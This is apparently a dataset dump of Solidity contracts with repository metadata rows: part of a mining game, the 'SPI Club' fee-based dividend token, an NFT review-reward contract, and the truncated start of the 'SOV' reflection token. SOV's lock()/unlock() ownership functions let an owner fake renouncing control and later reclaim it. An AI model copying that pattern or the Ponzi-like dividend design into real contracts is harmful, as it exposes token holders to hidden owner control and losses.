o.amount = SafeMath.sub(o.amount, amount);
o.owner.transfer(SafeMath.div(price, 2));
}
function withdrawSellDemand(uint256 index) public
{
require(now <= deadline);
require(index < numberOfOrders);
require(players[msg.sender].round == round);
SellOrderData storage o = sellOrderData[index];
require(o.owner == msg.sender);
if(o.amount > 0){
PlyerData storage p = players[o.owner];
p.crystals = SafeMath.add(p.crystals, o.amount * CRTSTAL_MINING_PERIOD);
}
o.unitPrice = 0;
o.amount = 0;
o.title = "title";
o.description = "description";
o.owner = 0;
}
function getSellDemand(uint256 index) public view returns(address owner, string title, string description,
uint256 amount, uint256 unitPrice)
{
require(index < numberOfOrders);
SellOrderData storage o = sellOrderData[index];
owner = o.owner;
title = o.title;
description = o.description;
amount = o.amount;
unitPrice = o.unitPrice;
}
function getHighestUnitPriceIdxFromSell() public returns(uint256 highestIdx)
{
uint256 highestPrice = 0;
for (uint256 idx = 0; idx < numberOfOrders; idx++) {
SellOrderData storage o = sellOrderData[idx];
//if empty
if (o.unitPrice == 0 || o.amount < 10) {
return idx;
}else if (o.unitPrice > highestPrice) {
highestPrice = o.unitPrice;
highestIdx = idx;
}
}
}
//--------------------------------------------------------------------------
// Other
//--------------------------------------------------------------------------
function devFee(uint256 amount) public view returns(uint256)
{
return SafeMath.div(SafeMath.mul(amount, 5), 100);
}
function getBalance() public view returns(uint256)
{
return this.balance;
}
//--------------------------------------------------------------------------
// Private
//--------------------------------------------------------------------------
function updateHashrate(address addr) private
{
PlyerData storage p = players[addr];
uint256 hashrate = 0;
for (uint idx = 0; idx < numberOfMiners; idx++) {
MinerData storage m = minerData[idx];
hashrate = SafeMath.add(hashrate, SafeMath.mul(p.minerCount[idx], m.baseProduct));
}
p.hashrate = hashrate;
if(hashrate > RANK_LIST_LIMIT){
updateRankList(addr);
}
}
function updateCrytal(address addr) private
{
require(now > players[addr].lastUpdateTime);
if (players[addr].lastUpdateTime != 0) {
PlyerData storage p = players[addr];
uint256 secondsPassed = SafeMath.sub(now, p.lastUpdateTime);
uint256 revenue = getHashratePerDay(addr);
p.lastUpdateTime = now;
if (revenue > 0) {
revenue = SafeMath.mul(revenue, secondsPassed);
p.crystals = SafeMath.add(p.crystals, revenue);
}
}
}
function getCurrentLevel(uint256 startingLevel, uint256 startingTime, uint256 halfLife) private view returns(uint256)
{
uint256 timePassed=SafeMath.sub(now, startingTime);
uint256 levelsPassed=SafeMath.div(timePassed, halfLife);
if (startingLevel < levelsPassed) {
return 0;
}
return SafeMath.sub(startingLevel, levelsPassed);
}
function getCurrentPrice(uint256 currentLevel) private view returns(uint256)
{
return SafeMath.mul(BASE_PRICE, 2**currentLevel);
}
function updateRankList(address addr) private returns(bool)
{
uint256 idx = 0;
PlyerData storage insert = players[addr];
PlyerData storage lastOne = players[rankList[19]];
if(insert.hashrate < lastOne.hashrate) {
return false;
}
address[21] memory tempList = rankList;
if(!inRankList(addr)){
tempList[20] = addr;
quickSort(tempList, 0, 20);
}else{
quickSort(tempList, 0, 19);
}
for(idx = 0;idx < 21; idx++){
if(tempList[idx] != rankList[idx]){
rankList[idx] = tempList[idx];
}
}
return true;
}
function inRankList(address addr) internal returns(bool)
{
for(uint256 idx = 0;idx < 20; idx++){
if(addr == rankList[idx]){
return true;
}
}
return false;
}
function quickSort(address[21] list, int left, int right) internal
{
int i = left;
int j = right;
if(i == j) return;
address addr = list[uint(left + (right - left) / 2)];
PlyerData storage p = players[addr];
while (i <= j) {
while (players[list[uint(i)]].hashrate > p.hashrate) i++;
while (p.hashrate > players[list[uint(j)]].hashrate) j--;
if (i <= j) {
(list[uint(i)], list[uint(j)]) = (list[uint(j)], list[uint(i)]);
i++;
j--;
}
}
if (left < j)
quickSort(list, left, j);
if (i < right)
quickSort(list, i, right);
}
}
| 142,833 | 14,110 |
ad5f86d9d4078453cf00701dac4603f7454c39a0b31e65a53eace2ee80ecfe4f
| 12,206 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/6155_13255_0xc15122898c3ee73211d8a8a4a656ba1980d53086.sol
| 3,657 | 11,848 |
pragma solidity ^ 0.4.26;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract TOKEN {
function totalSupply() external view returns(uint256);
function balanceOf(address account) external view returns(uint256);
function transfer(address recipient, uint256 amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint256);
function approve(address spender, uint256 amount) external returns(bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns(bool);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract SPIClub is Ownable {
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 10000e18; // 10k
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
bool public onlyAmbassadors = true;
uint256 ACTIVATION_TIME = 1608292800; // 12/18/2020 @ 12:00pm (UTC)
modifier antiEarlyWhale(uint256 _amountOfSTAT, address _customerAddress) {
if (now >= ACTIVATION_TIME) {
onlyAmbassadors = false;
}
if (onlyAmbassadors) {
require((ambassadors_[_customerAddress] == true && (ambassadorAccumulatedQuota_[_customerAddress] + _amountOfSTAT) <= ambassadorMaxPurchase_));
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfSTAT);
_;
} else {
onlyAmbassadors = false;
_;
}
}
modifier onlyTokenHolders {
require(myTokens() > 0);
_;
}
modifier onlyDivis {
require(myDividends(true) > 0);
_;
}
event onDistribute(address indexed customerAddress,
uint256 price);
event onTokenPurchase(address indexed customerAddress,
uint256 incomingSTAT,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 statEarned,
uint timestamp);
event onReinvestment(address indexed customerAddress,
uint256 statReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 statWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "SPI Club";
string public symbol = "SPIC";
uint8 constant public decimals = 18;
uint256 internal entryFee_ = 10; // 10%
uint256 internal transferFee_ = 1;
uint256 internal exitFee_ = 10; // 10%
uint256 internal referralFee_ = 20; // 2% of the 10% fee
uint256 constant internal magnitude = 2 ** 64;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal invested_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
uint256 public stakingRequirement;
uint256 public totalHolder = 0;
uint256 public totalDonation = 0;
TOKEN erc20;
constructor() public {
erc20 = TOKEN(address(0x9B02dD390a603Add5c07f9fd9175b7DABE8D63B7));
}
function checkAndTransferSTAT(uint256 _amount) private {
require(erc20.transferFrom(msg.sender, address(this), _amount) == true, "transfer must succeed");
}
function distribute(uint256 _amount) public returns(uint256) {
require(_amount > 0, "must be a positive value");
checkAndTransferSTAT(_amount);
totalDonation += _amount;
profitPerShare_ = SafeMath.add(profitPerShare_, (_amount * magnitude) / tokenSupply_);
emit onDistribute(msg.sender, _amount);
}
function buy(uint256 _amount, address _referredBy) public returns(uint256) {
checkAndTransferSTAT(_amount);
return purchaseTokens(_referredBy, msg.sender, _amount);
}
function buyFor(uint256 _amount, address _customerAddress, address _referredBy) public returns(uint256) {
checkAndTransferSTAT(_amount);
return purchaseTokens(_referredBy, _customerAddress, _amount);
}
function() payable public {
revert();
}
function reinvest() onlyDivis public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256)(_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(0x0, _customerAddress, _dividends);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() external {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyDivis public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256)(_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
erc20.transfer(_customerAddress, _dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyTokenHolders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _dividends = SafeMath.div(SafeMath.mul(_amountOfTokens, exitFee_), 100);
uint256 _taxedSTAT = SafeMath.sub(_amountOfTokens, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _amountOfTokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256)(profitPerShare_ * _amountOfTokens + (_taxedSTAT * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit Transfer(_customerAddress, address(0), _amountOfTokens);
emit onTokenSell(_customerAddress, _amountOfTokens, _taxedSTAT, now);
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyTokenHolders external returns(bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = _tokenFee;
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256)(profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256)(profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function setName(string _name) onlyOwner public {
name = _name;
}
function setSymbol(string _symbol) onlyOwner public {
symbol = _symbol;
}
function totalPowerBalance() public view returns(uint256) {
return erc20.balanceOf(address(this));
}
function totalSupply() public view returns(uint256) {
return tokenSupply_;
}
function myTokens() public view returns(uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns(uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress);
}
function balanceOf(address _customerAddress) public view returns(uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns(uint256) {
return (uint256)((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns(uint256) {
uint256 _stat = 1e18;
uint256 _dividends = SafeMath.div(SafeMath.mul(_stat, exitFee_), 100);
uint256 _taxedSTAT = SafeMath.sub(_stat, _dividends);
return _taxedSTAT;
}
function buyPrice() public view returns(uint256) {
uint256 _stat = 1e18;
uint256 _dividends = SafeMath.div(SafeMath.mul(_stat, entryFee_), 100);
uint256 _taxedSTAT = SafeMath.add(_stat, _dividends);
return _taxedSTAT;
}
function calculateTokensReceived(uint256 _powerToSpend) public view returns(uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_powerToSpend, entryFee_), 100);
uint256 _amountOfTokens = SafeMath.sub(_powerToSpend, _dividends);
return _amountOfTokens;
}
function calculatePowerReceived(uint256 _tokensToSell) public view returns(uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _dividends = SafeMath.div(SafeMath.mul(_tokensToSell, exitFee_), 100);
uint256 _taxedSTAT = SafeMath.sub(_tokensToSell, _dividends);
return _taxedSTAT;
}
function getInvested() public view returns(uint256) {
return invested_[msg.sender];
}
function purchaseTokens(address _referredBy, address _customerAddress, uint256 _incomingSTAT) internal antiEarlyWhale(_incomingSTAT, _customerAddress) returns(uint256) {
if (getInvested() == 0) {
totalHolder++;
}
invested_[msg.sender] += _incomingSTAT;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingSTAT, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, referralFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _amountOfTokens = SafeMath.sub(_incomingSTAT, _undividedDividends);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != address(0) && _referredBy != _customerAddress && tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256)(profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit Transfer(address(0), msg.sender, _amountOfTokens);
emit onTokenPurchase(_customerAddress, _incomingSTAT, _amountOfTokens, _referredBy, now);
return _amountOfTokens;
}
function multiData()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
return (totalPowerBalance(),
totalSupply(),
balanceOf(msg.sender),
erc20.balanceOf(msg.sender),
dividendsOf(msg.sender),
buyPrice(),
sellPrice());
}
}
| 232,246 | 14,111 |
86b33c724fd0f28f7c9857897f4176c8e63faa2952e39b89222ab8b51c02d1e7
| 13,623 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/e4/e4f00264a4607c2c496d4669fba02604d81ff8a4_ReviewV3.sol
| 3,360 | 12,105 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC721 {
function ownerOf(uint256 tokenId) external view returns (address owner);
}
interface IERC4907 {
// Logged when the user of a NFT is changed or expires is changed
/// @notice Emitted when the `user` of an NFT or the `expires` of the `user` is changed
/// The zero address for user indicates that there is no user address
event UpdateUser(uint256 indexed tokenId, address indexed user, uint64 expires);
/// @notice set the user and expires of a NFT
/// @dev The zero address indicates there is no user
/// Throws if `tokenId` is not valid NFT
/// @param user The new user of the NFT
/// @param expires UNIX timestamp, The new user could use the NFT before expires
function setUser(uint256 tokenId, address user, uint64 expires) external;
/// @notice Get the user address of an NFT
/// @dev The zero address indicates that there is no user or the user is expired
/// @param tokenId The NFT to get the user address for
/// @return The user address for this NFT
function userOf(uint256 tokenId) external view returns(address);
/// @notice Get the user expires of an NFT
/// @dev The zero value indicates that there is no user
/// @param tokenId The NFT to get the user expires for
/// @return The user expires for this NFT
function userExpires(uint256 tokenId) external view returns(uint256);
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IStakingFactory {
struct Metadata {
address storeAddress;
uint256 storeNFTType;
}
function notifyRewardAmount(address stakingContract, uint256 rewards) external;
function getInstanceMeta(bytes32 storeId) external view returns(Metadata memory);
}
interface IERC20Mintable {
function mint(address to, uint256 value) external;
}
interface ITest4907V2{
struct Metadata {
address creator;
uint256 typeNFT;
uint256 rarity;
uint256 nftLevel;
uint256 basicPerformance;
}
function metadata(uint256 tokenId) external view returns(Metadata memory);
function getBaseCoin() external view returns(uint256);
}
contract Reviewable is Ownable{
event ConfigLimitReview(address nftAddress, uint256 nftLevel, uint256 maxReview);
struct ReviewsIn24h{
address nftAddress;
uint256 nftId;
uint256 reviewTimes;
uint256 lastReviewTime; // second
}
mapping(uint256 => uint256[]) private reviewableTypes;
mapping(address => mapping(uint256 => ReviewsIn24h)) private _reviewsIn24h;
mapping(address => mapping(uint256 => uint256)) private _limitReviews;
function configLimitReviews(address nftAddress, uint256[] memory nftLevels, uint256[] memory maxReviews) external onlyOwner{
require(nftLevels.length == maxReviews.length, "Reviewable: Array length mismatch");
for(uint256 i = 0; i < nftLevels.length; i++){
_configLimitReview(nftAddress, nftLevels[i], maxReviews[i]);
}
}
function _configLimitReview(address nftAddress, uint256 nftLevel, uint256 maxReview) internal{
_limitReviews[nftAddress][nftLevel] = maxReview;
emit ConfigLimitReview(nftAddress, nftLevel, maxReview);
}
function getLimitReview(address nftAddress, uint256 nftLevel) public view returns(uint256){
return _limitReviews[nftAddress][nftLevel];
}
function getNFTReviewsIn24h(address nftAddress, uint256 nftId) public view returns(ReviewsIn24h memory){
return _reviewsIn24h[nftAddress][nftId];
}
function updateNFTReviewTimesIn24h(address nftAddress, uint256 nftId, uint256 nftLevel) internal returns(bool){
// nu thi gian review di 1 ngy m reviewTimes >= maxReview th k cho review na
uint256 maxReview = _limitReviews[nftAddress][nftLevel];
ReviewsIn24h storage reviewIn24h = _reviewsIn24h[nftAddress][nftId];
if(block.timestamp - reviewIn24h.lastReviewTime <= (24*60*60)){
if(reviewIn24h.reviewTimes >= maxReview) return false;
else{
reviewIn24h.reviewTimes += 1;
reviewIn24h.lastReviewTime = block.timestamp;
}
}else{
reviewIn24h.reviewTimes = 1;
reviewIn24h.lastReviewTime = block.timestamp;
}
if(reviewIn24h.nftAddress == address(0)){
reviewIn24h.nftAddress = nftAddress;
reviewIn24h.nftId = nftId;
}
return true;
}
function getReviewableTypes(uint256 storeType) public view returns(uint256[] memory){
return reviewableTypes[storeType];
}
function setReviewableTypes(uint256 storeType, uint256[] memory nftTypes) public onlyOwner{
reviewableTypes[storeType] = nftTypes;
}
function addReviewableType(uint256 storeType, uint256 nftType) public onlyOwner{
reviewableTypes[storeType].push(nftType);
}
function removeReviewableType(uint256 storeType, uint256 nftType) public onlyOwner{
uint256[] storage listTypes = reviewableTypes[storeType];
uint256 length = listTypes.length;
for(uint256 i = 0; i < length; i++){
if(listTypes[i] == nftType){
listTypes[i] = listTypes[length - 1];
listTypes.pop();
break;
}
}
}
function isReviewable(uint256 storeType, uint256 nftType) public view returns(bool){
for(uint256 i = 0; i < reviewableTypes[storeType].length; i++){
if(reviewableTypes[storeType][i] == nftType)
return true;
}
return false;
}
}
contract ReviewV3 is Context, Reviewable{
event Review(string reviewId, address storeContract, address reviewer, address nftAddress, uint256 nftId);
using SafeMath for uint256;
address private factoryContract;
address private rewardToken;
string private constant REVERT_INSUFFICIENT_BALANCE = "Review: Insufficient balance";
string private constant REVERT_INVALID_NFT_OWNER = "Review: caller is not the owner of NFTs";
string private constant REVERT_REVIEW_EXISTS = "Review: The NFT was used for review at this store";
string private constant REVERT_INVALID_STAR = "Review: Invalid review star";
string private constant REVERT_INVALID_NFTType = "Review: The NFT type to review is invalid";
string private constant REVERT_INVALID_REVIEW_LIMIT = "Review: Exceeds NFT review limit per day";
struct ReviewInfo{
string reviewId;
bytes32 storeId;
address reviewer;
address nftAddress;
uint256 nftId;
}
mapping(string => ReviewInfo) private _reviewInfo;
constructor(address _factoryContract, address _rewardToken){
// factoryContract = 0xC473373223eAd3cB67F42445A2d616DeB3aaFadc;
// rewardToken = 0x2F7265b97F6655F78AbBf13168e1FB4749A03bd0;
addReviewableType(1,1);
addReviewableType(2,2);
addReviewableType(3,3);
addReviewableType(1,4);
addReviewableType(2,4);
addReviewableType(3,4);
// _configLimitReview(1,1);
// _configLimitReview(2,2);
// _configLimitReview(3,3);
// setReviewableTypes(1, [1,4]); => loi lam
}
function getNFTMeta(address nftAddress, uint256 nftId) public view returns(ITest4907V2.Metadata memory){
ITest4907V2.Metadata memory meta = ITest4907V2(nftAddress).metadata(nftId);
return meta;
}
function getInstanceMetadata(bytes32 storeId) public view returns(IStakingFactory.Metadata memory){
IStakingFactory.Metadata memory storeMeta = IStakingFactory(factoryContract).getInstanceMeta(storeId);
return storeMeta;
}
function review(string memory reviewId, bytes32 storeId, address nftAddress, uint256 nftId, uint star) public{
require(star >= 1 && star <= 5, REVERT_INVALID_STAR);
address account = _msgSender();
require(IERC721(nftAddress).ownerOf(nftId) == account, REVERT_INVALID_NFT_OWNER);
IStakingFactory.Metadata memory storeMeta = IStakingFactory(factoryContract).getInstanceMeta(storeId);
ITest4907V2.Metadata memory nftMeta = ITest4907V2(nftAddress).metadata(nftId);
require(isReviewable(storeMeta.storeNFTType, nftMeta.typeNFT), REVERT_INVALID_NFTType);
require(updateNFTReviewTimesIn24h(nftAddress, nftId, nftMeta.nftLevel), REVERT_INVALID_REVIEW_LIMIT);
ReviewInfo memory reviewInfo = ReviewInfo(reviewId, storeId, account, nftAddress, nftId);
_reviewInfo[reviewId] = reviewInfo;
uint256 baseCoin = 100000000000000000;//ITest4907V2(nftAddress).getBaseCoin(); // in wei
uint256 accountReward = baseCoin.mul(nftMeta.nftLevel).mul(nftMeta.basicPerformance);
uint256 storeReward = star.mul(1e18);
IERC20Mintable(rewardToken).mint(account, accountReward);
IERC20Mintable(rewardToken).mint(storeMeta.storeAddress, storeReward);
IStakingFactory(factoryContract).notifyRewardAmount(storeMeta.storeAddress, storeReward);
emit Review(reviewId, storeMeta.storeAddress, account, nftAddress, nftId);
}
function getReview(string memory reviewId) public view returns(ReviewInfo memory){
return _reviewInfo[reviewId];
}
}
| 127,470 | 14,112 |
874b286eda22e781eb5f914fa25bb457d341aeddc8f6a4014d555348dd9ebe64
| 16,228 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/35/35F01DBacd0e8865E20E4B09E9cF09F6A4b3dA46_SOV.sol
| 3,703 | 15,484 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until some time passes");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract SOV is Context, IERC20, Ownable {
using Address for address;
address buybackAddress = 0xFa4deeA3a4e0119C6275c0C0fc8e96dc607E24A7;
//MAPINGS
mapping (address => uint256) private _balances;
mapping (address => uint256) private _reflectBalances;
//allowances of address to address with amount about this token
mapping (address => mapping (address => uint256)) private _allowances;
//mapping who is excluded from what (Fees or recieve Rewards)
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcludedFromReward;
address[] private _excludedFromReward;
//PROJECT SETTINGS
//Name Symbol Decimals
string private constant _name = 'Store of Value';
string private constant _symbol = 'SOV';
uint8 private constant _decimals = 8;
//Supply and Reflected Supply and other options
uint256 private constant _decimalFactor = 10**uint256(_decimals);
uint256 private _tokenTotal = 500000000 * _decimalFactor ;
